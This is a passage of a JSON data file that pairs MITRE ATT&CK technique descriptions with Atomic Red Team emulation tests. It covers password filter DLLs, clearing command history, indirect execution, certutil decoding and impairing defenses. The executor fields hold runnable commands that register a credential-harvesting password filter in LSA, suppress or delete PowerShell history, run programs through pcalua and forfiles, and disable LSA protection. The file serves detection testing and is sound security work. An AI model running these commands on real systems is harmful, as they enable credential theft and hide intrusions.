DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "Windows Registry: Windows Registry Key Modification", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "identifier": "T1556.002" - }, - "atomic_tests": [ - { - "name": "Install and Register Password Filter DLL", - "auto_generated_guid": "a7961770-beb5-4134-9674-83d7e1fa865c", - "description": "Uses PowerShell to install and register a password filter DLL. Requires a reboot and administrative privileges.\nThe binary in bin is https://www.virustotal.com/gui/file/95140c1ad39fd632d1c1300b246293297aa272ce6035eecc3da56e337200221d/detection\nSource is in src folder. \nThis does require a reboot to see the filter loaded into lsass.exe. \nIt does require Administrative privileges to import the clean registry values back into LSA, it is possible you may have to manually do this after for cleanup.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_path": { - "description": "Path to DLL to be installed and registered", - "type": "path", - "default": "PathToAtomicsFolder\\T1556.002\\bin" - }, - "dll_name": { - "description": "Name of the Password Filter", - "type": "string", - "default": "AtomicRedTeamPWFilter.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "AtomicRedTeamPWFilter.dll must exist on disk at specified location (#{dll_path}\\#{dll_name})\n", - "prereq_command": "if (Test-Path #{dll_path}\\#{dll_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://github.com/redcanaryco/atomicredteam/atomics/T1556.002/bin/AtomicRedTeamPWFilter.dll\" -OutFile \"#{dll_path}\\#{dll_name}\"\n" - } - ], - "executor": { - "command": "reg.exe export HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\ PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\n$passwordFilterName = (Copy-Item \"#{dll_path}\\#{dll_name}\" -Destination \"C:\\Windows\\System32\" -PassThru).basename\n$lsaKey = Get-Item \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\"\n$notificationPackagesValues = $lsaKey.GetValue(\"Notification Packages\")\n$notificationPackagesValues += $passwordFilterName\nSet-ItemProperty \"HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\\" \"Notification Packages\" $notificationPackagesValues\n", - "cleanup_command": "reg.exe import PathToAtomicsFolder\\T1556.002\\lsa_backup.reg\nremove-item C:\\Windows\\System32\\#{dll_name}\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1600.001": { - "technique": { - "x_mitre_platforms": [ - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--3a40f208-a9c1-4efa-a598-4003c3681fb8", - "type": "attack-pattern", - "created": "2020-10-19T19:03:48.310Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1600.001", - "url": "https://attack.mitre.org/techniques/T1600/001" - }, - { - "source_name": "Cisco Synful Knock Evolution", - "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco Blog Legacy Device Attacks", - "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", - "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - } - ], - "modified": "2020-10-21T22:36:22.369Z", - "name": "Reduce Key Space", - "description": "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)\n\nAdversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.\n\nAdversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "There is no documented method for defenders to directly identify behaviors that reduce encryption key space. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601) and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008). Some detection methods require vendor support to aid in investigation.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1070.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vikas Singh, Sophos", - "Emile Kenning, Sophos", - "Austin Clark, @c2defense" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a", - "created": "2020-01-31T12:32:08.228Z", - "x_mitre_version": "1.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1070.003", - "url": "https://attack.mitre.org/techniques/T1070/003" - }, - { - "source_name": "Sophos PowerShell command audit", - "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", - "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020." - }, - { - "source_name": "Microsoft PowerShell Command History", - "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7", - "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020." - }, - { - "source_name": "US-CERT-TA18-106A", - "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A", - "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020." - }, - { - "source_name": "Sophos PowerShell Command History Forensics", - "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", - "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions.\n\nAdversaries may delete their commands from these logs by manually clearing the history (history -c) or deleting the bash history file rm ~/.bash_history. \n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to clear command history data.(Citation: US-CERT-TA18-106A)\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the PSReadLine module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History)\n\nAdversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", - "modified": "2022-04-20T18:11:16.889Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Indicator Removal on Host: Clear Command History", - "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "File: File Deletion", - "File: File Modification", - "User Account: User Account Authentication" - ], - "x_mitre_defense_bypassed": [ - "Host forensic analysis", - "Log analysis" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1070.003" - }, - "atomic_tests": [ - { - "name": "Prevent Powershell History Logging", - "auto_generated_guid": "2f898b81-3e97-4abb-bc3f-a95138988370", - "description": "Prevents Powershell history\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-PSReadlineOption -HistorySaveStyle SaveNothing\n", - "name": "powershell", - "cleanup_command": "Set-PSReadLineOption -HistorySaveStyle SaveIncrementally" - } - }, - { - "name": "Clear Powershell History by Deleting History File", - "auto_generated_guid": "da75ae8d-26d6-4483-b0fe-700e4df4f037", - "description": "Clears Powershell history\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Remove-Item (Get-PSReadlineOption).HistorySavePath\n", - "name": "powershell" - } - }, - { - "name": "Set Custom AddToHistoryHandler to Avoid History File Logging", - "auto_generated_guid": "1d0d9aa6-6111-4f89-927b-53e8afae7f94", - "description": "The \"AddToHistoryHandler\" receives the current command as the $line variable and then returns $true if \nthe line should be written to the history file. Here we simply return $false so nothing gets added to \nthe history file for the current session. \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Set-PSReadLineOption -AddToHistoryHandler { return $false }\n", - "cleanup_command": "Set-PSReadLineOption -AddToHistoryHandler $null\n", - "name": "powershell" - } - } - ] - }, - "T1202": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matthew Demaske, Adaptforward" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1202", - "url": "https://attack.mitre.org/techniques/T1202" - }, - { - "source_name": "Evi1cg Forfiles Nov 2017", - "url": "https://twitter.com/Evi1cg/status/935027922397573120", - "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018." - }, - { - "source_name": "RSA Forfiles Aug 2017", - "url": "https://community.rsa.com/community/products/netwitness/blog/2017/08/14/are-you-looking-out-for-forfilesexe-if-you-are-watching-for-cmdexe", - "description": "Partington, E. (2017, August 14). Are you looking out for forfiles.exe (if you are watching for cmd.exe). Retrieved January 22, 2018." - }, - { - "source_name": "VectorSec ForFiles Aug 2017", - "url": "https://twitter.com/vector_sec/status/896049052642533376", - "description": "vector_sec. (2017, August 11). Defenders watching launches of cmd? What about forfiles?. Retrieved January 22, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](https://attack.mitre.org/software/S0106). For example, [Forfiles](https://attack.mitre.org/software/S0193), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)\n\nAdversaries may abuse these features for [Defense Evasion](https://attack.mitre.org/tactics/TA0005), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](https://attack.mitre.org/software/S0106) or file extensions more commonly associated with malicious payloads.", - "modified": "2022-05-05T05:06:38.938Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Indirect Command Execution", - "x_mitre_detection": "Monitor and analyze logs from host-based detection mechanisms, such as Sysmon, for events such as process creations that include or are resulting from parameters associated with invoking programs/commands/files and/or spawning child processes/network connections. (Citation: RSA Forfiles Aug 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_defense_bypassed": [ - "Static File Analysis", - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1202" - }, - "atomic_tests": [ - { - "name": "Indirect Command Execution - pcalua.exe", - "auto_generated_guid": "cecfea7a-5f03-4cdd-8bc8-6f7c22862440", - "description": "The Program Compatibility Assistant (pcalua.exe) may invoke the execution of programs and commands from a Command-Line Interface.\n[Reference](https://twitter.com/KyleHanslovan/status/912659279806640128)\nUpon execution, calc.exe should open\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "payload_path": { - "description": "Path to payload", - "type": "path", - "default": "C:\\Windows\\System32\\calc.exe" - }, - "process": { - "description": "Process to execute", - "type": "string", - "default": "calc.exe" - } - }, - "executor": { - "command": "pcalua.exe -a #{process}\npcalua.exe -a #{payload_path}\n", - "name": "command_prompt" - } - }, - { - "name": "Indirect Command Execution - forfiles.exe", - "auto_generated_guid": "8b34a448-40d9-4fc3-a8c8-4bb286faf7dc", - "description": "forfiles.exe may invoke the execution of programs and commands from a Command-Line Interface.\n[Reference](https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Forfiles.yml)\n\"This is basically saying for each occurrence of notepad.exe in c:\\windows\\system32 run calc.exe\"\nUpon execution calc.exe will be opened.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process": { - "description": "Process to execute", - "type": "string", - "default": "calc.exe" - } - }, - "executor": { - "command": "forfiles /p c:\\windows\\system32 /m notepad.exe /c #{process}\n", - "name": "command_prompt" - } - }, - { - "name": "Indirect Command Execution - conhost.exe", - "auto_generated_guid": "cf3391e0-b482-4b02-87fc-ca8362269b29", - "description": "conhost.exe refers to a host process for the console window. It provide an interface between command prompt and Windows explorer.\nExecuting it through command line can create process ancestry anomalies\n[Reference] (http://www.hexacorn.com/blog/2020/05/25/how-to-con-your-host/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process": { - "description": "Process to execute", - "type": "string", - "default": "notepad.exe" - } - }, - "executor": { - "command": "conhost.exe \"#{process}\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1536": { - "technique": { - "x_mitre_platforms": [ - "IaaS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Netskope" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--3b4121aa-fc8b-40c8-ac4f-afcb5838b72c", - "type": "attack-pattern", - "created": "2019-09-04T14:37:07.959Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "external_id": "T1536", - "source_name": "mitre-attack", - "url": "https://attack.mitre.org/techniques/T1536" - }, - { - "source_name": "Tech Republic - Restore AWS Snapshots", - "url": "https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/", - "description": "Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019." - }, - { - "source_name": "Google - Restore Cloud Snapshot", - "url": "https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots", - "description": "Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019." - } - ], - "modified": "2021-03-08T10:33:01.527Z", - "name": "Revert Cloud Instance", - "description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1140": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matthew Demaske, Adaptforward", - "Red Canary" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "created": "2017-12-14T16:46:06.044Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1140", - "url": "https://attack.mitre.org/techniques/T1140" - }, - { - "source_name": "Volexity PowerDuke November 2016", - "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", - "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017." - }, - { - "source_name": "Malwarebytes Targeted Attack against Saudi Arabia", - "url": "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/", - "description": "Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017." - }, - { - "source_name": "Carbon Black Obfuscation Sept 2016", - "url": "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", - "description": "Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nSometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)", - "modified": "2022-05-05T04:05:42.508Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Deobfuscate/Decode Files or Information", - "x_mitre_detection": "Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160).\n\nMonitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "File: File Modification", - "Script: Script Execution", - "Process: Process Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Host Intrusion Prevention Systems", - "Signature-based Detection", - "Network Intrusion Detection System" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1140" - }, - "atomic_tests": [ - { - "name": "Deobfuscate/Decode Files Or Information", - "auto_generated_guid": "dc6fe391-69e6-4506-bd06-ea5eeb4082f8", - "description": "Encode/Decode executable\nUpon execution a file named T1140_calc_decoded.exe will be placed in the temp folder\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable": { - "description": "name of executable", - "type": "path", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "certutil -encode #{executable} %temp%\\T1140_calc.txt\ncertutil -decode %temp%\\T1140_calc.txt %temp%\\T1140_calc_decoded.exe\n", - "cleanup_command": "del %temp%\\T1140_calc.txt >nul 2>&1\ndel %temp%\\T1140_calc_decoded.exe >nul 2>&1\n", - "name": "command_prompt" - } - }, - { - "name": "Certutil Rename and Decode", - "auto_generated_guid": "71abc534-3c05-4d0c-80f7-cbe93cb2aa94", - "description": "Rename certutil and decode a file. This is in reference to latest research by FireEye [here](https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "executable": { - "description": "name of executable/file to decode", - "type": "path", - "default": "C:\\Windows\\System32\\calc.exe" - } - }, - "executor": { - "command": "copy %windir%\\system32\\certutil.exe %temp%\\tcm.tmp\n%temp%\\tcm.tmp -encode #{executable} %temp%\\T1140_calc2.txt\n%temp%\\tcm.tmp -decode %temp%\\T1140_calc2.txt %temp%\\T1140_calc2_decoded.exe\n", - "cleanup_command": "del %temp%\\tcm.tmp >nul 2>&1\ndel %temp%\\T1140_calc2.txt >nul 2>&1\ndel %temp%\\T1140_calc2_decoded.exe >nul 2>&1\n", - "name": "command_prompt" - } - } - ] - }, - "T1562": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Office 365", - "IaaS", - "Linux", - "macOS", - "Containers", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", - "type": "attack-pattern", - "created": "2020-02-21T20:22:13.470Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1562", - "url": "https://attack.mitre.org/techniques/T1562" - } - ], - "modified": "2022-03-08T21:55:28.348Z", - "name": "Impair Defenses", - "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Firewall: Firewall Rule Modification", - "Cloud Service: Cloud Service Disable", - "Windows Registry: Windows Registry Key Deletion", - "Service: Service Metadata", - "Sensor Health: Host Status", - "Process: Process Creation", - "Process: Process Termination", - "Windows Registry: Windows Registry Key Modification", - "Cloud Service: Cloud Service Modification", - "Firewall: Firewall Disable", - "Script: Script Execution" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Signature-based detection", - "Host intrusion prevention systems", - "File monitoring", - "Digital Certificate Validation", - "Host forensic analysis", - "Log analysis", - "Firewall" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "identifier": "T1562" - }, - "atomic_tests": [ - { - "name": "Windows Disable LSA Protection", - "auto_generated_guid": "40075d5f-3a70-4c66-9125-f72bee87247d", - "description": "The following Atomic adds a registry entry to disable LSA Protection.\n\nThe LSA controls and manages user rights information, password hashes and other important bits of information in memory. Attacker tools, such as mimikatz, rely on accessing this content to scrape password hashes or clear-text passwords. Enabling LSA Protection configures Windows to control the information stored in memory in a more secure fashion - specifically, to prevent non-protected processes from accessing that data.\nUpon successful execution, the registry will be modified and RunAsPPL will be set to 0, disabling Lsass protection.\nhttps://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#how-to-disable-lsa-protection\nhttps://blog.netwrix.com/2022/01/11/understanding-lsa-protection/\nhttps://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/ \n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /t REG_DWORD /d 0 /f\n", - "cleanup_command": "reg delete HKLM\\SYSTEM\\CurrentControlSet\\Control\\LSA /v RunAsPPL /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1055.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", - "type": "attack-pattern", - "created": "2020-01-14T01:28:32.166Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.003", - "url": "https://attack.mitre.org/techniques/T1055/003" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2021-10-18T12:22:50.800Z", - "name": "Thread Execution Hijacking", - "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant 